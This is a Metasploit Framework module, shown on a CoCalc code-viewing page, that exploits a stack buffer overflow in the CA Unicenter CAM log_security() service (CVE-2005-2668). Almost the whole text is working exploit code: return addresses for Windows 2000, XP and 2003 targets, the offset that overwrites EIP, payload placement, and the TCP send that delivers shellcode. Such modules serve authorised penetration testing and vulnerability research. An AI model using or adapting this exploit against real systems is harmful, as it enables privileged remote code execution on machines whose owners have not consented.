CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/unicenter/cam_log_security.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GreatRanking
8
9
include Msf::Exploit::Remote::Tcp
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'CA CAM log_security() Stack Buffer Overflow (Win32)',
14
'Description' => %q{
15
This module exploits a vulnerability in the CA CAM service
16
by passing a long parameter to the log_security() function.
17
The CAM service is part of TNG Unicenter. This module has
18
been tested on Unicenter v3.1.
19
},
20
'Author' => [ 'hdm' ],
21
'License' => MSF_LICENSE,
22
'References' =>
23
[
24
['CVE', '2005-2668'],
25
['OSVDB', '18916'],
26
['BID', '14622'],
27
],
28
'Privileged' => true,
29
'Payload' =>
30
{
31
'Space' => 1024,
32
'BadChars' => "\x00",
33
'StackAdjustment' => -3500,
34
},
35
'Platform' => %w{ win },
36
'Targets' =>
37
[
38
# W2API.DLL @ 0x01950000 - return to ESI
39
['W2API.DLL TNG 2.3', { 'Platform' => 'win', 'Ret' => 0x01951107 }],
40
41
# Return to ESI in ws2help.dll
42
['Windows 2000 SP0-SP4 English', { 'Platform' => 'win', 'Ret' => 0x750217ae }],
43
['Windows XP SP0-SP1 English', { 'Platform' => 'win', 'Ret' => 0x71aa16e5 }],
44
['Windows XP SP2 English', { 'Platform' => 'win', 'Ret' => 0x71aa1b22 }],
45
['Windows 2003 SP0 English', { 'Platform' => 'win', 'Ret' => 0x71bf175f }],
46
],
47
'DisclosureDate' => '2005-08-22',
48
'DefaultTarget' => 0))
49
end
50
51
52
def check
53
connect
54
ack = sock.get_once || ''
55
disconnect
56
57
(ack == "ACK\x00") ? Exploit::CheckCode::Detected : Exploit::CheckCode::Safe
58
end
59
60
def exploit
61
connect
62
63
ack = sock.get_once
64
if (ack != "ACK\x00")
65
print_status("The CAM service is not responding")
66
end
67
68
buf = rand_text_english(4096, payload_badchars)
69
70
# Offset 1016 for EIP, 1024 = ESP, 1052 = ESI
71
buf[ 1016, 4 ] = [target.ret].pack('V')
72
buf[ 1052, payload.encoded.length ] = payload.encoded
73
74
sock.put("\xfa\xf9\x00\x10" + buf + "\x00")
75
76
handler
77
disconnect
78
end
79
end
80
81